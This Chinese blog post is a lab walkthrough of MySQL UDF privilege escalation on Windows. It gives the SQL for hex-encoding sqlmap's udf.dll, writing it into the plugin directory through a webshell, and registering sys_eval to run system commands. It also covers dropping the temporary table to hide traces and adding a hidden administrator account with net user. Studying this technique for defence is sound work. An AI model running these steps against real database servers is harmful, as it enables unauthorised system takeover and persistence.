zoukankan      html  css  js  c++  java
  • udf提权原理详解

    0x00-前言
    这个udf提权复现搞了三天,终于搞出来了。网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路。下面就来总结一下我的理解。
    想要知道udf提权是怎么回事,首先要先知道udf是什么。

    环境: 本机os: win10 靶机os: win7 php: 5.4.45 mysql: 5.5

    0x01-udf是什么?
    udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
    那么如何使用udf呢?

    0x02-如何使用udf?
    假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
    所以,我们应该把‘udf.dll’中的自定义函数引入进来。看一下官方文档中的语法:

    不要慌,看看实例用法:

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
    

    只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
    至此我们已经引入了sys_eval函数,下面就是使用了。
    这个函数用于执行系统命令,用法如下:

    select sys_eval('cmd command');
    

    0x03-使用udf提权
    现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
    下面来整理一下思路:

    1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)
    2. 从udf文件中引入自定义函数(user defined function)
    3. 执行自定义函数

    先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can't open shared library 'udf.dll'。获取sqlmap的udf请看链接:MySQL 利用UDF执行命令

    然后将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:

    SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\Users\ka1n4t\Desktop\gg.txt';
    load_file中的十六进制是C:\Users\ka1n4t\Desktop\lib_mysqludf_sys.dll
    

    此时gg.txt文件的内容就是udf文件的16进制形式。

    接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

    1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
    2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
    3. SELECT c FROM udftmp INTO DUMPFILE 'H:\PHPStudy\PHPTutorial\MySQL\lib\plugin\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
    //对于mysql小于5.1的,导出目录为C:Windows或C:WindowsSystem32
    

    上面第三步,mysql5.1以上的版本是默认没有plugin目录的,网上有说可以使用ntfs数据流创建:

    select test into dumpfile 'H:\PHPStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION';
    

    但是我本地测试一直没有成功。后来又在网上看了很多,都是用这种方法,看来是无解了。在t00ls上也有人说数据流从来没有成功过,所以说mysql5.1以上的提权能否成功还是个迷。
    为了演示,在这里我是手工创建了个plugin目录(ps: 勿喷啦,我用的phpstudy环境,重新安装一个mysql的话有可能会冲突,所以就没搞,毕竟原理都一样)。

    继续,到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:

    1. DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
    2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
    

    导入成功的话就可以使用了:

    SELECT sys_eval('ipconfig');
    返回网卡信息
    

    附几个常用的cmd指令,用于添加一个管理员用户:

    net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
    net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组
    

    End.

    0x04-参考资料
    MySQL 利用UDF执行命令
    Windows提权系列中篇

  • 相关阅读:
    Java实现 LeetCode 27 移除元素
    Java实现 LeetCode 26 删除排序数组中的重复项
    Java实现 LeetCode 26 删除排序数组中的重复项
    Java实现 LeetCode 26 删除排序数组中的重复项
    Java实现 LeetCode 25 K个一组翻转链表
    Java实现 LeetCode 25 K个一组翻转链表
    Java实现 LeetCode 25 K个一组翻转链表
    Java实现 LeetCode 24 两两交换链表中的节点
    Java实现 LeetCode 24 两两交换链表中的节点
    Java实现 LeetCode 24 两两交换链表中的节点
  • 原文地址:https://www.cnblogs.com/litlife/p/9030673.html
Copyright © 2011-2022 走看看